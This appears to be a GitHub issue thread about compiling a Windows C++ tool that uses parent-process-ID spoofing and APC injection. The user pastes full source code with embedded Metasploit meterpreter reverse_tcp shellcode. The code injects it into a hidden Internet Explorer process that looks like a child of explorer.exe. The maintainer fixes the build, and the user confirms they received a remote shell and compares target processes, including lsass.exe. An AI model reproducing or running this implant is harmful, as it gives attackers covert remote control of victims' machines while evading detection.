How to compile?

[usama7628674]

@hlldz Not compiling on visual studio 2017.

[hlldz]

Can you give some more details?

[usama7628674]

@hlldz Okay I finally able to compile by using the following command using Developer command prompt for VS 2017

cl /D UNICODE /EHsc apc-ppid.cpp
But I did not get meterpreter shell.Internet explorer does open though.

If I don't use /D UNICODE then I get an error

apc-ppid.cpp(13): error C2664: 'int wcscmp(const wchar_t *,const wchar_t *)': cannot convert argument 1 from 'CHAR [260]' to 'const wchar_t *'
apc-ppid.cpp(13): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast

Payload used: windows/x64/meterpreter/reverse_tcp

The code I used

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD getParentProcessID() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {

            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {

    //Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c
    unsigned char shellCode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x0a\x32\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff\xd5";

    STARTUPINFOEXA sInfoEX;
    PROCESS_INFORMATION pInfo;
    SIZE_T sizeT;

    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());

    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
    InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
    sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);

    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    SIZE_T *lpNumberOfBytesWritten = 0;
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
    ResumeThread(pInfo.hThread);
    CloseHandle(pInfo.hThread);

    return 0;
}

[hlldz]

You need to compile the code as 64-bit; https://stackoverflow.com/questions/42794845/visual-studio-community-2017-cl-exe/47109784#47109784

[usama7628674]

@hlldz Okay now it's working fine.You can only inject in process which is running as x64.If I try to inject in other process not running as x64 I did not get shell.It does work if I use explorer.exe but does not for lsass.exe cuz it's not running as 64 bit.Similarly it does work if I use conhost.exe or opera.exe.

So the spoofed process is iexplore.exe (in task manager).Is this correct?